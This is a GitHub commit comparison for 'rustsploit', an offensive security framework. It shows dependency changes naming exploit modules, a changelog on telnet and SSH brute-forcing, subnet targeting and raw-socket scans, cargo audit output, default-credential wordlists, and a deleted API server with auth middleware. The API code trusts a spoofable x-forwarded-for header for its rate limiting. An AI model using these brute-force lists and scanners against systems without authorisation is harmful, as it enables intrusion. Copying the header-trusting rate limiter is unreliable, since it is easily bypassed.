Compare commits

...

15 Commits

Author SHA1 Message Date
S.B 874d59a0f3 Delete src directory 2025-11-28 22:18:51 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
89 changed files with 567 additions and 18513 deletions
+82 -92
View File
@@ -4,121 +4,111 @@ version = "0.3.5"
edition = "2021"
build = "build.rs"
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9"
# For CLI parsing
clap = { version = "4.5", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
# Core / General
anyhow = "1.0"
#teminal color
colored = "3.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "15.0"
#ftp brute force module
async_ftp = "6.0"
tokio-socks = "0.5"
rustls = "0.23"
webpki-roots = "0.26"
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2"
sysinfo = { version = "0.36", features = ["multithread"] }
#telnet
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
h2 = "0.3"
http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.7"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.0"
base64 = "0.22"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.5", features = ["all"] }
pnet_packet = "0.34"
ipnet = "2.11"
ipnetwork = "0.20"
regex = "1.11" # newest listed
which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "0.26"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
#ssh
ssh2 = "0.9"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.26"
# rstp brute forcing
base64 = "0.22"
# RDP brute forcing module
rdp = "0.12"
# ssdp moudle scanner
regex = "1.11"
ipnet = "2.11"
#camera uniview exploit
quick-xml = "0.37"
#ABUS TVIP Dropbear
md5 = "0.7"
ftp = "3.0"
#ssh rce race condition
libc = "0.2"
# Futures
futures = "0.3"
futures-util = "0.3"
#spotube exploit
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
tokio-tungstenite = "0.26"
chrono = { version = "0.4", features = ["serde"] }
#zte rce
# Add these to [dependencies]
aes = "0.8"
cipher = "0.4"
flate2 = "1.0"
# for Roundcube exploit payload encoding
data-encoding = "2.5"
#avanti
url = "2.5"
semver = "1.0"
#stalk route full traceroute
pnet_packet = "0.34"
socket2 = { version = "0.5", features = ["all"] }
# HTTP/2 Rapid Reset DoS
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
h2 = "0.3"
tokio-rustls = "0.24"
http = "0.2"
bytes = "1.0"
#pingsweep
which = "8.0"
# API server
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
chrono = { version = "0.4", features = ["serde"] }
serde = { version = "1.0", features = ["derive"] }
uuid = { version = "1.10", features = ["v4"] }
sha2 = "0.10"
hex = "0.4"
# DNS tooling
trust-dns-client = { version = "0.23", features = ["dnssec"] }
trust-dns-proto = "0.23"
# DNS
hickory-client = { version = "0.24", features = ["dnssec"] }
hickory-proto = "0.24"
# SNMP bruteforce - using manual encoding for reliability
# Pin transitive dependencies to edition-2021-compatible releases
# (newer versions require unstable edition2024 feature)
home = "=0.5.11"
# Misc utilities
once_cell = "1.19"
home = "=0.5.11" # pinned for edition 2021 compatibility
[build-dependencies]
regex = "1.11" # required for use in build.rs
regex = "1.11"
[[bin]]
name = "rustsploit"
path = "src/main.rs"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
+445
View File
@@ -1960,3 +1960,448 @@ Success Rate: Moderate to high
- Legal authorization obtained
#### minor telnet logic flaw fix
When you set stop_on_success: true, here's what happens:
Worker 0 finds valid credentials admin:admin123
Worker 0 sets the stop flag: stop_flag.store(true, Ordering::Relaxed)
But Workers 1, 2, and 3 are already processing their attempts (admin:test123, admin:root, admin:toor)
They complete those attempts even after the stop flag is set
The module stops, but it only tested 4 combinations instead of stopping immediately after the first success
The Root Cause
Look at this code in the spawn_worker function:
let pair = {
let mut guard = rx.lock().await;
guard.recv().await
};
#### targeting System
Implemented global target configuration for all modules in the framework.
Features
Global configuration module (src/config.rs):
Stores a global target (IP, hostname, or CIDR subnet)
Supports CIDR subnets (e.g., 192.168.1.0/24)
Expands subnets to individual IPs when needed
Thread-safe using Arc<RwLock>
CLI support:
Added --set-target flag to set the global target from the command line
Example: rustsploit --set-target 192.168.1.0/24
Interactive shell support:
set target <value> sets the global target (also sets local target for backward compatibility)
Supports single IPs, hostnames, and CIDR subnets
show_target (or target) displays current local and global targets
clear_target clears both local and global targets
Shell welcome message shows the global target if set
Automatic target resolution:
Modules use the global target when no specific target is provided
Works in both CLI mode and interactive shell
For subnets, uses the first IP (modules can be extended to iterate over all IPs)
Usage Examples
# Set global target from CLIrustsploit --set-target 192.168.1.0/24# In interactive shellrsf> set target 192.168.1.0/24rsf> show_targetrsf> use scanners/port_scannerrsf> run # Uses global target automatically
The implementation is complete and ready to use. All modules will automatically use the global target when no specific target is provided.
# Set global target from CLI
rustsploit --set-target 192.168.1.0/24
# In interactive shell
rsf> set target 192.168.1.0/24
rsf> show_target
rsf> use scanners/port_scanner
rsf> run # Uses global target automatically
Fixes Applied
Removed unused import: removed the unused anyhow import from commands/mod.rs.
Fixed large subnet handling:
Added get_single_target_ip() to get a single IP from a subnet without expanding.
Added get_target_size() to get subnet size without expanding.
Limited subnet expansion to 65,536 IPs (max /16) to prevent memory issues.
Updated all code to use the new methods.
Improved error handling: better error messages when subnets are too large.
When you set 0.0.0.0/0 as the target, it now uses 0.0.0.0 (the network address) instead of expanding to billions of IPs. For scanning multiple IPs, use a smaller subnet like 192.168.1.0/24.
Fixes Applied
Fixed NetworkSize type conversion:
Replaced net.size().into() with manual calculation from the prefix length
Calculates subnet size as 2^(32-prefix) for IPv4 and 2^(128-prefix) for IPv6
Handles edge cases (prefix >= 32 for IPv4, prefix >= 128 for IPv6)
Verified creds modules:
All 14 creds modules have the correct pub async fn run(target: &str) signature
The build script (build.rs) automatically discovers and registers them
Modules are wired via the generated creds_dispatch.rs file
Added a run_all command that uses get_target_ips() to iterate over all IPs in a subnet. This removes the dead code warning.
Changes Made
Added run_all command (aliases: runall, ra):
Checks if a global subnet target is set
Uses get_target_ips() to get all IPs from the subnet
Runs the selected module against each IP sequentially
Supports proxy rotation if enabled
Shows progress and a summary at the end
Updated help text to include the new command
The get_target_ips() method is now used, so the dead code warning should be resolved. The command works with subnets up to 65,536 IPs (as limited by the method).
Usage example:
Fixed Compilation Errors
Updated deprecated rand API:
Changed rand::thread_rng() → rand::rng()
Changed rng.gen_range() → rng.random_range()
Changed rng.gen() → rng.random()
Fixed Send trait issue:
Moved all random value generation into a block scope { ... } that completes before any await points
This ensures the ThreadRng is dropped before the async code runs, making the future Send
Fixed unused variable warning:
Changed if let Ok(addr) = socket.connect(...) to if socket.connect(...).is_ok() to avoid the unused addr variable
Changes Made:
Added new scan methods to PingMethod enum:
Syn { ports: Vec<u16> } - SYN (stealth) scan
Ack { ports: Vec<u16> } - ACK scan for filter detection
Updated configuration prompts:
Added prompts for SYN and ACK scan options
Both methods note that root privileges are required
Implemented SYN scan (syn_probe and syn_probe_single):
Sends SYN packets using raw sockets
Detects SYN-ACK (port open) or RST (host up, port closed)
IPv4 only
Uses spawn_blocking for async compatibility
Implemented ACK scan (ack_probe and ack_probe_single):
Sends ACK packets using raw sockets
Detects RST responses (host up, port unfiltered)
IPv4 only
Uses spawn_blocking for async compatibility
Added required imports:
libc for IPPROTO_RAW
pnet_packet for packet crafting
socket2 for raw sockets
tokio::task for spawn_blocking
MaybeUninit for safe buffer handling
Features:
SYN scan: Stealth scan that sends SYN packets and analyzes responses
ACK scan: Detects filtered vs unfiltered ports
User selection: Prompts to choose which scan methods to use
Error handling: Clear messages when root privileges are required
IPv4 support: Both methods work with IPv4 addresses
Async compatible: Uses spawn_blocking for raw socket operations
Fixed the parsing issue. The problem was that strip_prefix("target") matched "target" even without a following space, so set target set 192.168.41.1/23 was parsed incorrectly.
The fix:
Changed strip_prefix("target") to strip_prefix("target ") (requires a space after "target")
Added a check to ensure the value isn't empty after stripping
Now when you type set target 192.168.41.1/23, it will correctly parse just 192.168.41.1/23 as the target value.
The code should now work correctly. Try running:
Fixed both issues:
CIDR validation: Updated the regex in normalize_target to allow / for CIDR notation (e.g., 192.168.41.1/23).
Parsing: Changed the check to use starts_with("target ") instead of strip_prefix, which is more explicit.
The code should now:
Accept CIDR notation like 192.168.41.1/23
Correctly parse set target 192.168.41.1/23 without including extra words
Try running:
Changes Made:
Added fields to PingConfig:
save_up_hosts: Option<String> - Path to save up hosts
save_down_hosts: Option<String> - Path to save down hosts
Added configuration prompts:
Asks if you want to save up hosts to a file (default: ping_sweep_up_hosts.txt)
Asks if you want to save down hosts to a file (default: ping_sweep_down_hosts.txt)
You can specify custom file paths
Result collection:
Uses Arc<Mutex<Vec<String>>> to collect up and down hosts during execution
Up hosts are added when any probe method succeeds
Down hosts are added when all probe methods fail
File saving:
Added save_hosts_to_file() function to write results
Saves files at the end of the sweep
Shows success messages with counts
Handles errors gracefully
Usage:
When you run the ping sweep scanner, you'll be prompted:
"Save up hosts to file?" - If yes, specify the output file
"Save down hosts to file?" - If yes, specify the output file
Improvements
1. Statistics tracking
Real-time progress reporting showing attempts, successes, failures, errors, retries, and rate
Final statistics summary with elapsed time and average rate
Updates every 2 seconds
2. Retry logic
Configurable retry on connection errors
Max retries setting (1-10)
Tracks retry attempts separately
3. Timeout configuration
Configurable connection timeout (1-60 seconds)
Uses tokio::time::timeout for proper async timeout handling
4. Concurrency control
Uses Semaphore for proper concurrency limiting
Prevents task queue overflow
Better resource management
5. Default credentials
Built-in list of 13 common SSH credentials
Optional: try defaults first before wordlists
Can be combined with wordlists
6. Better error handling
More detailed error messages
Distinguishes between connection errors, handshake failures, and auth failures
Tracks error attempts separately
7. Enhanced user experience
Better input validation with clear error messages
Optional wordlists (can use defaults only)
Shows total attempts before starting
Uses HashSet to prevent duplicate credential reporting
Improved output formatting with colors
8. Code quality
Cleaner structure with constants
Better separation of concerns
More robust error handling
Fixing the warning: u16 can't exceed 65535, so the <= 65535 check is redundant. Removing it:
cargo audit
Fetching advisory database from `https://github.com/RustSec/advisory-db.git`
Loaded 874 security advisories (from /home/kali/.cargo/advisory-db)
Updating crates.io index
Scanning Cargo.lock for vulnerabilities (421 crate dependencies)
Crate: chrono
Version: 0.2.25
Title: Potential segfault in `localtime_r` invocations
Date: 2020-11-10
ID: RUSTSEC-2020-0159
URL: https://rustsec.org/advisories/RUSTSEC-2020-0159
Solution: Upgrade to >=0.4.20
Dependency tree:
chrono 0.2.25
└── ftp 3.0.1
└── rustsploit 0.3.5
Crate: idna
Version: 0.4.0
Title: `idna` accepts Punycode labels that do not produce any non-ASCII when decoded
Date: 2024-12-09
ID: RUSTSEC-2024-0421
URL: https://rustsec.org/advisories/RUSTSEC-2024-0421
Solution: Upgrade to >=1.0.0
Dependency tree:
idna 0.4.0
└── trust-dns-proto 0.23.2
├── trust-dns-client 0.23.2
│ └── rustsploit 0.3.5
└── rustsploit 0.3.5
Crate: regex
Version: 0.1.80
Title: Regexes with large repetitions on empty sub-expressions take a very long time to parse
Date: 2022-03-08
ID: RUSTSEC-2022-0013
URL: https://rustsec.org/advisories/RUSTSEC-2022-0013
Severity: 7.5 (high)
Solution: Upgrade to >=1.5.5
Dependency tree:
regex 0.1.80
└── ftp 3.0.1
└── rustsploit 0.3.5
Crate: thread_local
Version: 0.2.7
Title: Data race in `Iter` and `IterMut`
Date: 2022-01-23
ID: RUSTSEC-2022-0006
URL: https://rustsec.org/advisories/RUSTSEC-2022-0006
Solution: Upgrade to >=1.1.4
Dependency tree:
thread_local 0.2.7
└── regex 0.1.80
└── ftp 3.0.1
└── rustsploit 0.3.5
Crate: time
Version: 0.1.45
Title: Potential segfault in the time crate
Date: 2020-11-18
ID: RUSTSEC-2020-0071
URL: https://rustsec.org/advisories/RUSTSEC-2020-0071
Severity: 6.2 (medium)
Solution: Upgrade to >=0.2.23
Dependency tree:
time 0.1.45
└── chrono 0.2.25
└── ftp 3.0.1
└── rustsploit 0.3.5
Crate: async-std
Version: 1.13.2
Warning: unmaintained
Title: async-std has been discontinued
Date: 2025-08-24
ID: RUSTSEC-2025-0052
URL: https://rustsec.org/advisories/RUSTSEC-2025-0052
Dependency tree:
async-std 1.13.2
└── suppaftp 6.3.0
└── rustsploit 0.3.5
Crate: atomic-polyfill
Version: 1.0.3
Warning: unmaintained
Title: atomic-polyfill is unmaintained
Date: 2023-07-11
ID: RUSTSEC-2023-0089
URL: https://rustsec.org/advisories/RUSTSEC-2023-0089
Dependency tree:
atomic-polyfill 1.0.3
└── heapless 0.7.17
└── rstar 0.11.0
├── geo-types 0.7.17
│ ├── rdp 0.12.8
│ │ └── rustsploit 0.3.5
│ └── geo 0.26.0
│ └── rdp 0.12.8
└── geo 0.26.0
Crate: atty
Version: 0.2.14
Warning: unmaintained
Title: `atty` is unmaintained
Date: 2024-09-25
ID: RUSTSEC-2024-0375
URL: https://rustsec.org/advisories/RUSTSEC-2024-0375
Dependency tree:
atty 0.2.14
└── clap 3.2.25
└── cbindgen 0.26.0
└── rdp 0.12.8
└── rustsploit 0.3.5
Crate: ftp
Version: 3.0.1
Warning: unmaintained
Title: ftp is unmaintained, use suppaftp instead
Date: 2023-02-20
ID: RUSTSEC-2023-0043
URL: https://rustsec.org/advisories/RUSTSEC-2023-0043
Dependency tree:
ftp 3.0.1
└── rustsploit 0.3.5
Crate: trust-dns-proto
Version: 0.23.2
Warning: unmaintained
Title: The `trust-dns` project has been rebranded to `hickory-dns`
Date: 2025-03-23
ID: RUSTSEC-2025-0017
URL: https://rustsec.org/advisories/RUSTSEC-2025-0017
Dependency tree:
trust-dns-proto 0.23.2
├── trust-dns-client 0.23.2
│ └── rustsploit 0.3.5
└── rustsploit 0.3.5
Crate: atty
Version: 0.2.14
Warning: unsound
Title: Potential unaligned read
Date: 2021-07-04
ID: RUSTSEC-2021-0145
URL: https://rustsec.org/advisories/RUSTSEC-2021-0145
error: 5 vulnerabilities found!
warning: 6 allowed warnings found
Security Fixes Applied:
Removed unmaintained ftp crate (v3.0)
Removed from Cargo.toml
Added blocking feature to suppaftp for blocking FTP operations
Updated pachev_ftp_path_traversal_1_0.rs to use suppaftp::FtpStream instead of ftp::FtpStream
This fixes vulnerabilities in: chrono 0.2.25, regex 0.1.80, thread_local 0.2.7, and time 0.1.45
Replaced trust-dns-* with hickory-dns-*
Updated Cargo.toml to use hickory-client and hickory-proto (rebranded, maintained versions)
Updated dns_recursion.rs imports from trust_dns_* to hickory_*
This fixes the idna 0.4.0 vulnerability and the unmaintained trust-dns-proto warning
All 5 vulnerabilities should now be resolved. The remaining warnings (async-std, atomic-polyfill, atty) are transitive dependencies from other crates (rdp, suppaftp) and are warnings, not vulnerabilities.
im gunna Run cargo audit again to verify the fixes
The suppaftp crate doesn't have a blocking feature. Checking available features and how to use blocking FTP:
Removing the blocking feature; suppaftp's blocking API should be available by default:
Removed the non-existent blocking feature. suppaftp::FtpStream (without the Async prefix) is the blocking API and is available by default. The code should compile now. Verifying:
Removed the non-existent blocking feature. In suppaftp:
FtpStream (blocking) is available by default — used in the exploit
AsyncFtpStream requires the async feature — used in other modules
The configuration should now compile. The blocking FtpStream API is available without any feature flag, so the exploit should work correctly.
Try running cargo run --release again; it should compile successfully.
Fixed two issues:
Removed unused import: std::net::ToSocketAddrs is no longer needed since we're using suppaftp::FtpStream::connect() which accepts a string directly.
Fixed method name: Changed simple_retr() to retr(). In suppaftp, retr() returns a reader directly (no .into_inner() needed).
The code should now compile. The retr() method in suppaftp returns a reader that can be used directly with copy().
Fixed the issue: suppaftp::FtpStream::retr() takes two arguments:
The file path (string)
A mutable writer to write the data to
Updated the code to:
Create the output file first
Pass a mutable reference to the file as the second argument to retr()
Remove the unnecessary copy() call since retr() writes directly to the file
Fixed the issue. The retr() method in suppaftp expects a closure that:
Takes a &mut dyn Read (the FTP data stream)
Processes it (in this case, copy it to a file)
Returns a Result with FtpError
The code now:
Creates the output file
Uses a closure that receives the reader from FTP
Uses io::copy() to copy data from the reader to the file
Converts I/O errors to FtpError as required
Fixed both issues:
Removed unused import: Removed Read from the imports since it's not directly used.
Fixed error type: FtpError::ConnectionError expects an Error type, not a String. Changed it to use std::io::Error::new() to create a proper error from the I/O error.
let Some((user, pass)) = pair else { break };
if stop_flag.load(Ordering::Relaxed) { // ❌ Check happens AFTER receiving work
break;
}
Removed the unused rdp dependency, which should eliminate the atomic-polyfill and atty warnings. The RDP bruteforce module uses external commands (xfreerdp/rdesktop), not the rdp crate.
For the async-std warning from suppaftp, it's a transitive dependency and only a warning (not a vulnerability). We can wait for suppaftp to update or consider alternatives later.
Summary of fixes:
Removed unused rdp dependency — eliminates atomic-polyfill and atty warnings
Updated suppaftp to version 6.3 — may help with async-std if a newer version addresses it
Added comments explaining the remaining async-std warning
The remaining async-std warning is from suppaftp's transitive dependencies and is a maintenance warning, not a security vulnerability. It should be addressed upstream by the suppaftp maintainers.
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
-716
View File
@@ -1,716 +0,0 @@
use anyhow::{Context, Result};
use axum::{
extract::{ConnectInfo, Request, State},
http::{HeaderMap, StatusCode},
middleware::Next,
response::{IntoResponse, Response},
routing::{get, post},
Json, Router,
};
use std::net::SocketAddr;
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use std::{
collections::HashMap,
path::PathBuf,
sync::Arc,
};
use tokio::{
fs::OpenOptions,
io::AsyncWriteExt,
sync::RwLock,
};
use tower::ServiceBuilder;
use tower_http::trace::TraceLayer;
use uuid::Uuid;
use crate::commands;
#[derive(Clone, Debug)]
pub struct ApiKey {
pub key: String,
pub created_at: DateTime<Utc>,
}
#[derive(Clone, Debug, Serialize)]
pub struct IpTracker {
pub ip: String,
pub first_seen: DateTime<Utc>,
pub last_seen: DateTime<Utc>,
pub request_count: u32,
}
#[derive(Clone, Debug, Serialize)]
pub struct AuthFailureTracker {
pub ip: String,
pub failed_attempts: u32,
pub first_failure: DateTime<Utc>,
pub blocked_until: Option<DateTime<Utc>>,
}
#[derive(Clone)]
pub struct ApiState {
pub current_key: Arc<RwLock<ApiKey>>,
pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
pub harden_enabled: bool,
pub ip_limit: u32,
pub log_file: PathBuf,
}
#[derive(Serialize, Deserialize)]
pub struct ApiResponse {
pub success: bool,
pub message: String,
pub data: Option<serde_json::Value>,
}
#[derive(Serialize, Deserialize)]
pub struct RunModuleRequest {
pub module: String,
pub target: String,
}
#[derive(Serialize, Deserialize)]
pub struct ListModulesResponse {
pub exploits: Vec<String>,
pub scanners: Vec<String>,
pub creds: Vec<String>,
}
// ----------------------
// Validation utilities
// ----------------------
fn sanitize_for_log(input: &str) -> String {
let mut s = input.replace(['\r', '\n', '\t'], " ");
if s.len() > 500 {
s.truncate(500);
s.push_str("");
}
s
}
fn is_printable_ascii(s: &str) -> bool {
s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
}
fn validate_api_key_format(key: &str) -> bool {
!key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
}
fn validate_module_name(module: &str) -> bool {
// Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
if module.is_empty() || module.len() > 200 { return false; }
if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
return false;
}
let parts: Vec<&str> = module.split('/').collect();
if parts.len() < 2 { return false; }
matches!(parts[0], "exploits" | "scanners" | "creds")
}
fn validate_target(target: &str) -> bool {
if target.is_empty() || target.len() > 2048 { return false; }
if !is_printable_ascii(target) { return false; }
// Basic sanity: avoid spaces at ends and double CRLF injections
let trimmed = target.trim();
trimmed == target && !target.contains("\r\n\r\n")
}
impl ApiState {
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
let log_file = std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("."))
.join("rustsploit_api.log");
Self {
current_key: Arc::new(RwLock::new(ApiKey {
key: initial_key,
created_at: Utc::now(),
})),
ip_tracker: Arc::new(RwLock::new(HashMap::new())),
auth_failures: Arc::new(RwLock::new(HashMap::new())),
harden_enabled: harden,
ip_limit,
log_file,
}
}
pub async fn rotate_key(&self) -> Result<String> {
let new_key = Uuid::new_v4().to_string();
let mut key_guard = self.current_key.write().await;
key_guard.key = new_key.clone();
key_guard.created_at = Utc::now();
drop(key_guard);
// Clear IP tracker on rotation
let mut tracker_guard = self.ip_tracker.write().await;
tracker_guard.clear();
drop(tracker_guard);
self.log_message(&format!(
"[SECURITY] API key rotated at {}",
Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
Ok(new_key)
}
pub async fn track_ip(&self, ip: &str) -> Result<bool> {
if !self.harden_enabled {
return Ok(false);
}
let mut tracker_guard = self.ip_tracker.write().await;
let now = Utc::now();
if let Some(tracker) = tracker_guard.get_mut(ip) {
// Update existing tracker - use all fields
tracker.last_seen = now;
tracker.request_count += 1;
// Log detailed tracking info using first_seen
let duration = now.signed_duration_since(tracker.first_seen);
let _ = self.log_message(&format!(
"[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
tracker.ip,
tracker.request_count,
tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
duration.num_seconds()
)).await;
} else {
// Create new tracker - all fields are set and will be used
let new_tracker = IpTracker {
ip: ip.to_string(),
first_seen: now,
last_seen: now,
request_count: 1,
};
// Log new IP using all fields
let _ = self.log_message(&format!(
"[TRACKING] New IP detected: {} (first seen: {})",
new_tracker.ip,
new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
)).await;
tracker_guard.insert(ip.to_string(), new_tracker);
}
let unique_ips = tracker_guard.len() as u32;
drop(tracker_guard);
if unique_ips > self.ip_limit {
let new_key = self.rotate_key().await?;
self.log_message(&format!(
"[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
unique_ips, self.ip_limit, new_key
))
.await?;
println!(
"⚠️ [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
unique_ips, self.ip_limit
);
println!("⚠️ New API key: {}", new_key);
return Ok(true);
}
Ok(false)
}
pub async fn log_message(&self, message: &str) -> Result<()> {
let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
let safe = sanitize_for_log(message);
let log_entry = format!("[{}] {}\n", timestamp, safe);
// Log to terminal
println!("{}", log_entry.trim());
// Log to file
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(&self.log_file)
.await
.context("Failed to open log file")?;
file.write_all(log_entry.as_bytes())
.await
.context("Failed to write to log file")?;
Ok(())
}
pub async fn verify_key(&self, provided_key: &str) -> bool {
let key_guard = self.current_key.read().await;
key_guard.key == provided_key
}
pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
if let Some(tracker) = failures_guard.get_mut(ip) {
// Check if IP is currently blocked
if let Some(blocked_until) = tracker.blocked_until {
if now < blocked_until {
let remaining = (blocked_until - now).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
ip, remaining, tracker.failed_attempts
))
.await?;
return Ok(false); // Blocked
} else {
// Block period expired, reset
tracker.failed_attempts = 0;
tracker.blocked_until = None;
self.log_message(&format!(
"[RATE_LIMIT] Block period expired for IP {}, resetting counter",
ip
))
.await?;
}
}
}
Ok(true) // Not blocked
}
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
let now = Utc::now();
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
AuthFailureTracker {
ip: ip.to_string(),
failed_attempts: 0,
first_failure: now,
blocked_until: None,
}
});
// Set first_failure if this is the first attempt
if tracker.failed_attempts == 0 {
tracker.first_failure = now;
}
tracker.failed_attempts += 1;
// Block after 3 failed attempts for 30 seconds
if tracker.failed_attempts >= 3 {
let block_until = now + chrono::Duration::seconds(30);
tracker.blocked_until = Some(block_until);
let duration_since_first = (now - tracker.first_failure).num_seconds();
self.log_message(&format!(
"[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
duration_since_first
))
.await?;
println!(
"🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
);
} else {
self.log_message(&format!(
"[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
tracker.ip, tracker.failed_attempts,
tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
}
Ok(())
}
pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
let mut failures_guard = self.auth_failures.write().await;
if let Some(tracker) = failures_guard.get_mut(ip) {
if tracker.failed_attempts > 0 {
self.log_message(&format!(
"[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
ip, tracker.failed_attempts
))
.await?;
}
tracker.failed_attempts = 0;
tracker.blocked_until = None;
}
Ok(())
}
}
async fn auth_middleware(
State(state): State<ApiState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Extract IP address - try to get from headers first (for proxied requests)
let client_ip = headers
.get("x-forwarded-for")
.or_else(|| headers.get("x-real-ip"))
.and_then(|h| h.to_str().ok())
.map(|s| {
s.split(',')
.next()
.unwrap_or("")
.trim()
.to_string()
})
.filter(|s| !s.is_empty())
.unwrap_or_else(|| addr.ip().to_string());
// Check rate limit before processing authentication
if client_ip != "unknown" {
if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
if !allowed {
let response = ApiResponse {
success: false,
message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
data: None,
};
return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
}
}
}
// Extract API key from Authorization header
let auth_header = headers
.get("Authorization")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
let provided_key = if auth_header.starts_with("Bearer ") {
&auth_header[7..]
} else if auth_header.starts_with("ApiKey ") {
&auth_header[7..]
} else {
auth_header
};
// Basic key format validation
if !validate_api_key_format(provided_key) {
let response = ApiResponse {
success: false,
message: "Malformed API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Verify API key
let is_valid = state.verify_key(provided_key).await;
if !is_valid {
// Record failed authentication attempt
if client_ip != "unknown" {
let _ = state.record_auth_failure(&client_ip).await;
}
let response = ApiResponse {
success: false,
message: "Invalid API key".to_string(),
data: None,
};
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
// Successful authentication - reset failure counter for this IP
if client_ip != "unknown" {
let _ = state.reset_auth_failures(&client_ip).await;
}
// Track IP for hardening (if enabled)
